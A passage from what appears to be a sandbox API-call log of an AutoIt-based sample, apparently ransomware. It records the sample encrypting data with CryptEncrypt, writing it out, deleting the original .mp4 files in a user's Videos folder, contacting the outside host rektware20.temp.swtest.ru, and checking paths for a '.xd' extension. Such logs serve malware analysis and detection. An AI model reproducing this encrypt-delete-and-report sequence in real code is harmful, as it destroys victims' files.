returned 0 [0066.366] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.366] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.366] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.366] CharLowerBuffW (in: lpsz="byte[97953]", cchLength=0xb | out: lpsz="byte[97953]") returned 0xb [0066.366] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.370] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.370] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.370] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.371] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.372] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621960, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.372] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.372] CryptEncrypt (in: hKey=0x164c770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e89b8*, pdwDataLen=0x130e618*=0x17e92, dwBufLen=0x17ea0 | out: pbData=0x17e89b8*, pdwDataLen=0x130e618*=0x17ea0) returned 1 [0066.372] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.372] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.372] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.374] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.374] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.374] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.374] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.374] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.374] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.381] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.381] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.381] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.382] WriteFile (in: hFile=0x2ac, lpBuffer=0x1894eb8*, nNumberOfBytesToWrite=0x17ea0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1894eb8*, lpNumberOfBytesWritten=0x130f01c*=0x17ea0, lpOverlapped=0x0) returned 1 [0066.384] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.385] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.385] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0066.385] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.385] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.385] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0066.385] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213a8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0066.385] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0066.385] CryptDestroyKey (hKey=0x164c770) returned 1 [0066.385] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.386] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.386] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.386] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.386] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.386] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0066.386] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0066.386] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.386] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.387] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.387] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.387] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.387] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.387] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.387] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.387] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.387] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.387] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.387] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0066.387] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.387] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.387] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.388] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.388] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.388] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.388] CloseHandle (hObject=0x3bc) returned 1 [0066.390] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.390] CloseHandle (hObject=0x2ac) returned 1 [0066.395] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.396] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.396] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", lpFilePart=0x0) returned 0x3e [0066.396] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jqtbchp7.mp4")) returned 0x20 [0066.396] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c3f0 [0066.397] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\JQtBchp7.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\jqtbchp7.mp4")) returned 1 [0066.400] FindNextFileW (in: hFindFile=0x164c3f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.400] FindClose (in: hFindFile=0x164c3f0 | out: hFindFile=0x164c3f0) returned 1 [0066.400] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.400] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.400] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.400] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.401] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0066.401] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.401] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.401] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.401] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.401] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.401] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.401] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e68, lpdwBufferLength=0x130ef8c) returned 1 [0066.401] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.401] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.401] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.403] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.403] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.403] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.403] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.403] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292d0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.403] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.404] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.404] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.404] CloseHandle (hObject=0x0) returned 0 [0066.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.404] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.405] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\jSWLRBZahJ8aGfjzd-.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.406] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 